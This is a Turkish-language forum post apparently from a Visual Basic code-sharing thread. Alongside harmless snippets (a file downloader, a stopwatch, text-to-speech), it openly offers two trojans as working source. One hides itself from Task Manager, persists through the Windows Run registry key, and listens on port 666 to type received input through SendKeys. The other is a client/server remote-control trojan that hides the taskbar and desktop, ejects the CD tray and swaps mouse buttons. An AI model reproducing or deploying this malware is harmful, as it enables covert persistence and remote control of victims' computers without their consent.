Visual Basic Kodları Her zaman Güncel!

r@nger · 08-11-2006, 13:43

Download Hızlandırma Programı Kodları:

Kod:

text1 - > txtfrom
text2 -> txtto
command1->cmddownload

Class Module:
Option Explicit

Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Private Declare Function InternetOpen Lib "wininet" Alias _
"InternetOpenA" (ByVal sAgent As String, _
ByVal lAccessType As Long, _
ByVal sProxyName As String, _
ByVal sProxyBypass As String, _
ByVal lFlags As Long) As Long


Private Declare Function InternetCloseHandle Lib "wininet" _
(ByVal hInet As Long) As Integer


Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Const INTERNET_FLAG_EXISTING_CONNECT = &H20000000
Const INTERNET_OPEN_TYPE_DIRECT = 1
Const INTERNET_OPEN_TYPE_PROXY = 3
Const INTERNET_FLAG_RELOAD = &H80000000



Public Function Get_File(sURLFileName As String, _
sSaveFileName As String) As Boolean
Dim lRet As Long
On Error GoTo err_Fix

lRet = InternetOpen("", INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
lRet = URLDownloadToFile(0, sURLFileName, sSaveFileName, 0, 0)
Get_File = True
Exit Function
err_Fix:
Debug.Print Err.LastDllError, lRet
Err.Clear
Get_File = False
End Function

cmddownload_Click:
Private Sub cmdDownload_Click()
Dim obj As clsDownload
Set obj = New clsDownload
Dim bRet As Boolean

Screen.MousePointer = vbHourglass
bRet = obj.Get_File(Trim(Me.txtFrom.Text), Trim(Me.txtTo.Text))
If bRet = False Then Me.txtTo.Text = "Error downloading!"
Screen.MousePointer = vbDefault
Set obj = Nothing
MsgBox "Done", vbInformation
End Sub

Private Sub cmdExit_Click()
Unload Me
End Sub

Trojan Yapma Kodları:

Kod:

Private Sub Form_Load() 
App.TaskVisible = False ' Trojan Ctrl + Alt + Del ekranında görünmeyecek 
' Buda programı(trojanı windows kayıt defterine ekler ve windows her 
' açıldı ında çalışmasını sağlar. 
Dim KayitDefteri As Object 
Set KayitDefteri = CreateObject("wscript.shell") 
KayitDefteri.RegWrite 
"HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCURRENT V ERSIONRUN" & App.EXEName, 
App.Path & "" & App.EXEName & ".exe" 
Winsock1.LocalPort = "666" ' bu trojanın portun belirtir. İsterseniz de 
iştirebilirsiniz. 
Winsock1.Listen 'Trojan bağlantıları dinliyor. 
Me.Hide 
End Sub 

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 
'Winsock kontrolü kullanılıyor mu bak. 
If Winsock1.State <> sckClosed Then Winsock1.Close 
Winsock1.Accept requestID 'İstemci bilgisyar ba lantısını kabul et 
End Sub 
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal 
Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext 
As Long, CancelDisplay As Boolean) 
'Hata olmuşsa yada ba lantı kaybedilmişse, tekrar dinlemeye geçiliyor 
Winsock1.Close 
Winsock1.Listen 
End Sub 

Private Sub Winsock1_Close() 
Winsock1.Close 
Winsock1.Listen 
End Sub 

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 
Dim data1 As String 
Winsock1.GetData data1 
DoEvents 
SendKeys data1 
End Sub

Kronometre:

Kod:

Private Sub basla_Click() 
Timer1.Enabled = True 
Timer1.Interval = 1000 
End Sub 

Private Sub durudur_Click() 
Timer1.Enabled = False 
Label8.Caption = saat 
Label9.Caption = dakika 
Label10.Caption = saniye 


End Sub 


Private Sub Timer1_Timer() 
Label3.Caption = Now 
saniye = saniye + 1 
If saniye = 59 Then 
dakika = dakika + 1 
saniye = 0 
End If 
If dakika = 59 Then 
saat = saat + 1 
dakika = 0 
End If 
Label4.Caption = saat 
Label5.Caption = dakika 
Label6.Caption = saniye 
End Sub

Bilgisayarı Felç Eden Trojan:

Kod:

Command 1 Bağlanmak için
Command 2 Cdromu açmak için
Command 3 Cdromu kapatmak için
Command 4 Başlat çubuğunu Göster
Command 5 Masaüstünü Sakla
Command 6 Masaüstünü Göster
Command 7 Başlat Çubuğunu Sakla
Command 8 Mouse Sağ el hakim olsun
Command 9 Mouse Sol el Sahip olsun
Command 10 Mesaj Yollama
Text 3 Mesaj metni
Text1 ip Yazılacak kısım
Tex4 Bağlantı Göstergesi
JohnSysinfo eklemeyi de unutmayın servera bu da önemli cdRomu açamazsınız yoksa
Winsock 1 server a biri client a port numarası 277 ayarlanmış tı siz değiştirirsiniz Command1 dekini unutmayın
Neyse benden bu kadar ilk konularda burdan yardım aldım şimdi
buraya Minnetimi ödiyim ben ,saolun hepiniz 
Client
===============
Private Sub Command1_Click()
Winsock.Close
Winsock.Connect Text1.Text, 277

End Sub
Private Sub Command10_Click()
Winsock.SendData "Message= Text3.text"
DoEvents
End Sub
Private Sub Command2_Click()
Winsock.SendData "Cdopen"
DoEvents
End Sub
Private Sub Command3_Click()
Winsock.SendData "Cdclose"
DoEvents
End Sub
Private Sub Command4_Click()
Winsock.SendData "showtask"
DoEvents
End Sub
Private Sub Command5_Click()
Winsock.SendData "hidesk"
DoEvents
End Sub
Private Sub Command6_Click()
Winsock.SendData "showdesk"
DoEvents
End Sub
Private Sub Command7_click()
Winsock.SendData "hidetask"
DoEvents
End Sub
Private Sub Command8_Click()
Winsock.SendData "getmouse"
DoEvents
End Sub
Private Sub Command9_Click()
Winsock.SendData "leavemouse"
DoEvents
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Text4.Text = Winsock.State
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock.Close
End
End Sub
Private Sub winsock_connect()
Text4.Text = "Connected!"
Form1.Caption = "RedFrog Trojan Connected"
Command1.Caption = "Connect New"
End Sub
=================================0
Server
=================================0
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd _
As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal _
wFlags As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
Private Sub Form_load()
server.LocalPort = 277
server.Listen
Me.Hide
End Sub
Private Sub server_connectionrequest(ByVal requestid As Long)
server.Close
server.Accept requestid
End Sub
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "Cdclose"
JohnSysInfo1.CDRomDoor = False
Case "Cdopen"
JohnSysInfo1.CDRomDoor = True
Case "showtask"
Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = False
Case "hidetask"
Timer2.Enabled = True
Timer2.Interval = 10
Timer1.Enabled = False
Case "hidedesk"
Timer3.Enabled = True
Timer3.Interval = 10
Timer4.Enabled = False
Case "showdesk"
Timer3.Enabled = False
Timer4.Enabled = True
Timer4.Interval = 10
Case "getmouse"
JohnSysInfo1.UseLeftHandMouse = False
Case "leavemouse"
JohnSysInfo1.UseLeftHandMouse = True

End Select
End Sub
Private Sub timer1_timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
Private Sub timer2_Timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub

Private Sub timer4_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5
End Sub
Private Sub timer3_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub

Bilgisayarınızı Konuşturun:

Kod:

Project/Add Referans 'tan COM sekmesine gelin ve Microsoft Speech Object Library 'yi işaretleyin.
Birde textbox1 ve button1 ekleyin.

Dim konus As New SpeechLib.SpVoice
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
TextBox1.Text = "Welcome computer system simyacix"
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
konus.Speak(TextBox1.Text)
End Sub

Her Gün Güncellenecektir!

Emege Saygı!+rep

Konu Yönetim Seçenekleri
Yazdırılacak şekilde göster Sayfayı e-posta ile gönder
Konu Gösterim Seçenekleri
Normal şekilde göster Ağaç şeklinde göster Otomatik konu şeklinde göster

Hafta içi her gün 20:00 - 22:00 arası "DJ ÖZEL" ile "Keyf-i Müzik" programını dinlemek için TIKLAYINIZ

Hafta sonu 15:00 - 18:00 arası "DJ EMRE" ile "Müzik Ekspres" programını dinlemek için TIKLAYINIZ

Visual Basic Kodları Her zaman Güncel!

Visual Basic Kodları Her zaman Güncel!